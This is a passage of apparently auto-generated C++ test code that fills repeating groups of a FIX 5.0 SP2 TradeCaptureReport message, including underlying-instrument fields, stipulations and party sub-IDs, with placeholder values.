all_values.push_back(TrdRegTimestamps_NoTrdRegTimestamps_20);\n    all_compo_names.insert(\"...NoTrdRegTimestamps\");\n\n    msg.addGroup(noTrdRegTimestamps_0_2);\n  }\n  // TrdRepIndicatorsGrp\n  // Group TrdRepIndicatorsGrp.NoTrdRepIndicators\n  {\n    FIX50SP2::TradeCaptureReport::NoTrdRepIndicators noTrdRepIndicators_0_0;\n    // TrdRepIndicatorsGrp.NoTrdRepIndicators\n    multiset<string> TrdRepIndicatorsGrp_NoTrdRepIndicators_0;\n    set_field(noTrdRepIndicators_0_0, FIX::TrdRepIndicator{false}, TrdRepIndicatorsGrp_NoTrdRepIndicators_0);\n    set_field(noTrdRepIndicators_0_0, FIX::TrdRepPartyRole{370794404}, TrdRepIndicatorsGrp_NoTrdRepIndicators_0);\n    all_values.push_back(TrdRepIndicatorsGrp_NoTrdRepIndicators_0);\n    all_compo_names.insert(\"...NoTrdRepIndicators\");\n\n    msg.addGroup(noTrdRepIndicators_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoTrdRepIndicators noTrdRepIndicators_0_1;\n    // TrdRepIndicatorsGrp.NoTrdRepIndicators\n    multiset<string> TrdRepIndicatorsGrp_NoTrdRepIndicators_1;\n    set_field(noTrdRepIndicators_0_1, FIX::TrdRepIndicator{false}, TrdRepIndicatorsGrp_NoTrdRepIndicators_1);\n    set_field(noTrdRepIndicators_0_1, FIX::TrdRepPartyRole{273280904}, TrdRepIndicatorsGrp_NoTrdRepIndicators_1);\n    all_values.push_back(TrdRepIndicatorsGrp_NoTrdRepIndicators_1);\n    all_compo_names.insert(\"...NoTrdRepIndicators\");\n\n    msg.addGroup(noTrdRepIndicators_0_1);\n  }\n  // UndInstrmtGrp\n  // Group UndInstrmtGrp.NoUnderlyings\n  {\n    FIX50SP2::TradeCaptureReport::NoUnderlyings noUnderlyings_0_0;\n    // UndInstrmtGrp.NoUnderlyings\n    // UnderlyingInstrument\n    multiset<string> UnderlyingInstrument_138;\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuer{\"DATA_867103147\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuerLen{437722507}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDesc{\"DATA_1982290137\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDescLen{807723131}, UnderlyingInstrument_138);\n    FIX::UnderlyingAdjustedQuantity UnderlyingAdjustedQuantity_138;\n    UnderlyingAdjustedQuantity_138.setString(\"10454582\");\nset_field(noUnderlyings_0_0, UnderlyingAdjustedQuantity_138, UnderlyingInstrument_138);\n    FIX::UnderlyingAllocationPercent UnderlyingAllocationPercent_138;\n    UnderlyingAllocationPercent_138.setString(\"96.850000\");\nset_field(noUnderlyings_0_0, UnderlyingAllocationPercent_138, UnderlyingInstrument_138);\n    FIX::UnderlyingAttachmentPoint UnderlyingAttachmentPoint_138;\n    UnderlyingAttachmentPoint_138.setString(\"31.430000\");\nset_field(noUnderlyings_0_0, UnderlyingAttachmentPoint_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCFICode{\"STRING_1804282321\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPProgram{\"STRING_1713181237\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPRegType{\"STRING_445905738\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingCapValue UnderlyingCapValue_138;\n    UnderlyingCapValue_138.setString(\"20703038\");\nset_field(noUnderlyings_0_0, UnderlyingCapValue_138, UnderlyingInstrument_138);\n    FIX::UnderlyingCashAmount UnderlyingCashAmount_138;\n    UnderlyingCashAmount_138.setString(\"7562383\");\nset_field(noUnderlyings_0_0, UnderlyingCashAmount_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCashType{\"STRING_DIFF\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingContractMultiplier UnderlyingContractMultiplier_138;\n    UnderlyingContractMultiplier_138.setString(\"2817119\");\nset_field(noUnderlyings_0_0, UnderlyingContractMultiplier_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingContractMultiplierUnit{566984548}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCountryOfIssue{\"COUNTRY_423595972\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCouponPaymentDate{\"LOCALMKTDATE_1742593500\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingCouponRate UnderlyingCouponRate_138;\n    UnderlyingCouponRate_138.setString(\"35.890000\");\nset_field(noUnderlyings_0_0, UnderlyingCouponRate_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCreditRating{\"STRING_383064969\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCurrency{\"JPY\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingCurrentValue UnderlyingCurrentValue_138;\n    UnderlyingCurrentValue_138.setString(\"20724128\");\nset_field(noUnderlyings_0_0, UnderlyingCurrentValue_138, UnderlyingInstrument_138);\n    FIX::UnderlyingDetachmentPoint UnderlyingDetachmentPoint_138;\n    UnderlyingDetachmentPoint_138.setString(\"68.210000\");\nset_field(noUnderlyings_0_0, UnderlyingDetachmentPoint_138, UnderlyingInstrument_138);\n    FIX::UnderlyingDirtyPrice UnderlyingDirtyPrice_138;\n    UnderlyingDirtyPrice_138.setString(\"6574197\");\nset_field(noUnderlyings_0_0, UnderlyingDirtyPrice_138, UnderlyingInstrument_138);\n    FIX::UnderlyingEndPrice UnderlyingEndPrice_138;\n    UnderlyingEndPrice_138.setString(\"1257152\");\nset_field(noUnderlyings_0_0, UnderlyingEndPrice_138, UnderlyingInstrument_138);\n    FIX::UnderlyingEndValue UnderlyingEndValue_138;\n    UnderlyingEndValue_138.setString(\"13078444\");\nset_field(noUnderlyings_0_0, UnderlyingEndValue_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingExerciseStyle{991944374}, UnderlyingInstrument_138);\n    FIX::UnderlyingFXRate UnderlyingFXRate_138;\n    UnderlyingFXRate_138.setString(\"4965096\");\nset_field(noUnderlyings_0_0, UnderlyingFXRate_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFXRateCalc{'M'}, UnderlyingInstrument_138);\n    FIX::UnderlyingFactor UnderlyingFactor_138;\n    UnderlyingFactor_138.setString(\"12652252\");\nset_field(noUnderlyings_0_0, UnderlyingFactor_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFlowScheduleType{1322305795}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingInstrRegistry{\"STRING_2058767200\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssueDate{\"LOCALMKTDATE_1702947786\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssuer{\"STRING_1157112284\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingLocaleOfIssue{\"STRING_719006683\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityDate{\"LOCALMKTDATE_600922391\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityMonthYear{\"MONTHYEAR_2040651969\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityTime{\"TZTIMEONLY_2001119826\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingNotionalPercentageOutstanding UnderlyingNotionalPercentageOutstanding_138;\n    UnderlyingNotionalPercentageOutstanding_138.setString(\"10.640000\");\nset_field(noUnderlyings_0_0, UnderlyingNotionalPercentageOutstanding_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingOptAttribute{'1'}, UnderlyingInstrument_138);\n    FIX::UnderlyingOriginalNotionalPercentageOutstanding UnderlyingOriginalNotionalPercentageOutstanding_138;\n    UnderlyingOriginalNotionalPercentageOutstanding_138.setString(\"19.160000\");\nset_field(noUnderlyings_0_0, UnderlyingOriginalNotionalPercentageOutstanding_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPriceUnitOfMeasure{\"STRING_180541271\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingPriceUnitOfMeasureQty UnderlyingPriceUnitOfMeasureQty_138;\n    UnderlyingPriceUnitOfMeasureQty_138.setString(\"2151042\");\nset_field(noUnderlyings_0_0, UnderlyingPriceUnitOfMeasureQty_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingProduct{1449624883}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPutOrCall{462253236}, UnderlyingInstrument_138);\n    FIX::UnderlyingPx UnderlyingPx_138;\n    UnderlyingPx_138.setString(\"7820888\");\nset_field(noUnderlyings_0_0, UnderlyingPx_138, UnderlyingInstrument_138);\n    FIX::UnderlyingQty UnderlyingQty_138;\n    UnderlyingQty_138.setString(\"18732208\");\nset_field(noUnderlyings_0_0, UnderlyingQty_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRedemptionDate{\"LOCALMKTDATE_57363088\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepoCollateralSecurityType{\"STRING_2018542429\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingRepurchaseRate UnderlyingRepurchaseRate_138;\n    UnderlyingRepurchaseRate_138.setString(\"21.770000\");\nset_field(noUnderlyings_0_0, UnderlyingRepurchaseRate_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepurchaseTerm{1124811999}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRestructuringType{\"STRING_1597528690\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityDesc{\"STRING_33731403\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityExchange{\"EXCHANGE_1887298820\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityID{\"STRING_107464827\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityIDSource{\"STRING_159446629\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecuritySubType{\"STRING_1047659577\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityType{\"STRING_1099409201\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSeniority{\"STRING_655956260\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlMethod{\"STRING_91839982\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlementType{5}, UnderlyingInstrument_138);\n    FIX::UnderlyingStartValue UnderlyingStartValue_138;\n    UnderlyingStartValue_138.setString(\"19782620\");\nset_field(noUnderlyings_0_0, UnderlyingStartValue_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStateOrProvinceOfIssue{\"STRING_3123534\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStrikeCurrency{\"CHF\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingStrikePrice UnderlyingStrikePrice_138;\n    UnderlyingStrikePrice_138.setString(\"7221302\");\nset_field(noUnderlyings_0_0, UnderlyingStrikePrice_138, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbol{\"STRING_373537362\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbolSfx{\"STRING_881059012\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingTimeUnit{\"STRING_575766396\"}, UnderlyingInstrument_138);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingUnitOfMeasure{\"STRING_631258426\"}, UnderlyingInstrument_138);\n    FIX::UnderlyingUnitOfMeasureQty UnderlyingUnitOfMeasureQty_138;\n    UnderlyingUnitOfMeasureQty_138.setString(\"3399249\");\nset_field(noUnderlyings_0_0, UnderlyingUnitOfMeasureQty_138, UnderlyingInstrument_138);\n    all_values.push_back(UnderlyingInstrument_138);\n    all_compo_names.insert(\"...NoUnderlyings.\");\n\n    // UndSecAltIDGrp\n    // Group UndSecAltIDGrp.NoUnderlyingSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_0;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_287;\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltID{\"STRING_811799697\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_287);\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltIDSource{\"STRING_555029213\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_287);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_287);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_1;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_288;\n      set_field(noUnderlyingSecurityAltID_0_1_1, FIX::UnderlyingSecurityAltID{\"STRING_177449548\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_288);\n      set_field(noUnderlyingSecurityAltID_0_1_1, FIX::UnderlyingSecurityAltIDSource{\"STRING_1274052933\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_288);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_288);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_1);\n    }\n    // UnderlyingStipulations\n    // Group UnderlyingStipulations.NoUnderlyingStips\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_0;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_279;\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipType{\"STRING_2050670403\"}, UnderlyingStipulations_NoUnderlyingStips_279);\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipValue{\"STRING_1331416021\"}, UnderlyingStipulations_NoUnderlyingStips_279);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_279);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_1;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_280;\n      set_field(noUnderlyingStips_0_1_1, FIX::UnderlyingStipType{\"STRING_1208176835\"}, UnderlyingStipulations_NoUnderlyingStips_280);\n      set_field(noUnderlyingStips_0_1_1, FIX::UnderlyingStipValue{\"STRING_11988932\"}, UnderlyingStipulations_NoUnderlyingStips_280);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_280);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_2;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_281;\n      set_field(noUnderlyingStips_0_1_2, FIX::UnderlyingStipType{\"STRING_308744372\"}, UnderlyingStipulations_NoUnderlyingStips_281);\n      set_field(noUnderlyingStips_0_1_2, FIX::UnderlyingStipValue{\"STRING_658221877\"}, UnderlyingStipulations_NoUnderlyingStips_281);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_281);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_2);\n    }\n    // UndlyInstrumentParties\n    // Group UndlyInstrumentParties.NoUndlyInstrumentParties\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_0;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_288;\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyID{\"STRING_48559544\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_288);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyIDSource{'7'}, UndlyInstrumentParties_NoUndlyInstrumentParties_288);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyRole{205166965}, UndlyInstrumentParties_NoUndlyInstrumentParties_288);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_288);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_579;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1865095905\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_579);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubIDType{861123225}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_579);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_579);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_580;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_1188059104\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_580);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubIDType{2082246738}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_580);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_580);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_2;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_581;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_2, FIX::UnderlyingInstrumentPartySubID{\"STRING_691901632\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_581);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_2, FIX::UnderlyingInstrumentPartySubIDType{1191182638}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_581);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_581);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_2);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_1;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_289;\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyID{\"STRING_1854861709\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_289);\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_289);\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyRole{1913312856}, UndlyInstrumentParties_NoUndlyInstrumentParties_289);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_289);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_582;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_413367687\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_582);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_0, FIX::UnderlyingInstrumentPartySubIDType{341595604}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_582);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_582);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_583;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_712173849\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_583);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_1, FIX::UnderlyingInstrumentPartySubIDType{753292609}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_583);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_583);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_2;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_584;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_2, FIX::UnderlyingInstrumentPartySubID{\"STRING_1216903916\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_584);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_2, FIX::UnderlyingInstrumentPartySubIDType{1523973546}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_584);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_584);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_2);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_2;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_290;\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyID{\"STRING_1308321822\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_290);\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_290);\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyRole{650542831}, UndlyInstrumentParties_NoUndlyInstrumentParties_290);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_290);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_2_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_585;\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1297540220\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_585);\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_0, FIX::UnderlyingInstrumentPartySubIDType{1981958852}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_585);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_585);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_2.addGroup(noUndlyInstrumentPartySubIDs_0_2_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_2_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_586;\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_1706133063\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_586);\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_1, FIX::UnderlyingInstrumentPartySubIDType{1309529152}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_586);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_586);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_2.addGroup(noUndlyInstrumentPartySubIDs_0_2_2_1);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_2);\n    }\n    msg.addGroup(noUnderlyings_0_0);\n  }\n  // YieldData\n  multiset<string> YieldData_32;\n  FIX::Yield Yield_32;\n  Yield_32.setString(\"95.760000\");\nset_field(msg, Yield_32, YieldData_32);\n  set_field(msg, FIX::YieldCalcDate{\"LOCALMKTDATE_216871292\"}, YieldData_32);\n  